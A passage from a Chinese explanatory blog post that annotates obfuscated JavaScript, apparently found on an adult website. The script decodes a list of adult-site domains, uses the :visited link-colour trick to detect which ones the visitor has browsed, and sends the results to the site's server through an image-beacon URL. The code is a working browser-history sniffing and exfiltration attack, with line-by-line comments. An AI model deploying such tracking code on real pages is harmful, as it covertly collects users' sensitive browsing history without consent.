悄悄用脚本检查你访问过哪些网站的代码

  打开它的“页面源文件”,你能找到一段加密过的JS脚本:

  

复制代码 代码如下:

  function ypol(){

  //K是一个对象,实际上是一个数组。存了一堆加密过的pr*n站链接。

  var k={0:"qpsoivc/dpn",1:"sfeuvcf/dpn",2:"bevmugsjfoeg joefs/dpn",3:"ywjefpt/dpn",4:"uvcf9/dpn",5:"yoyy/d pn",6:"nfhbqpso/dpn",7:"nfhbspujd/dpn",8:"yibntufs /dpn",9:"bxfnqjsf/dpn",10:"sfbmjuzljoht/dpn",11:"c sb{{fst/dpn",12:"yuvcf/dpn",13:"cbohcspt2/dpn",14: "gmjoh/dpn",15:"gsffpoft/dpn",16:"nzgsffqbztjuf/dp n",17:"efcpobjscmph/dpn",18:"qbztfswf/dpn",19:"nby qpso/dpn",20:"wjefpt{/dpn",21:"bfco/ofu",22:"qpsop sbnb/dpn"};

  var g=[];

  for(var m in k){

  var d=k[m]; //遍历k中的元素赋值给d

  var a="";

  for(var f=0;f<d.length;f++){

  a+=String.fromCharCode(d.charCodeAt(f)-1);

  }/* 这里把d中的每一条字符都还原了。

  * charCodeAt(char) 函数返回char的ascii码

  * String.fromCharCode(asccii) 返回ascii码对应的字符

  * 然后把结果赋值给a

  * 比如第一次循环,a的值就是 qpsoivc/dpn -> pornhub.com

  */

  var h=false;

  /*

  * 这个循环创建A对象并让链接赋值为 http://a/ 和 http://www.a/

  * 为什么要循环来2次,目的是为了准确性

  * 访问 http://example.com/ 和 http://www.example.com/ 对于浏览器来说,是不同的域名

  * 所以要区别对待

  */

  for(var j in {"http://":"","http://www.":""}){

  var l=document.createElement("a"); //创建一个A对象

  l.href=j+a;

  document.getElementById("ol").appendChild(l);

  // A对象附加给一个id为ol的元素上,要附加在一个在DOM树上的元素,浏览器才会render这个元素,并设置合适的CSS

  var e="";

  if(navigator.appName.indexOf("Microsoft")!=-1){

  e=l.currentStyle.color; //取IE中A对象的颜色

  }else {

  e=document.defaultView.getComputedStyle(l,null).ge tPropertyValue("color");

  //取其他标准浏览器的颜色

  }

  if(e=="#0c2238"||e=="#0c2238"){

  /*

  * 如果是紫色,就表示访问过此站点。

  * 浏览器默认给访问过的链接标记为紫色

  * a:visited{color: #123456}

  */

  h=true;

  }

  }

  if(h){ //如果访问过,把站点加入列表g

  g.push(m);

  }

  }

  var b=(g instanceof Array)?g.join(","):""; //把g由数组变成字符串

  var c=document.createElement("img"); //建立一个img对象

  c.src="http://ol.youporn.com/blank.gif?id="+b; //img的src指向自家服务器上的一幅图像,关键是附带上了g数组的值

  document.getElementById("ol").appendChild(c); //加入DOM树,理由跟前面的A一样

  /*

  * 以一次图片访问,在web-server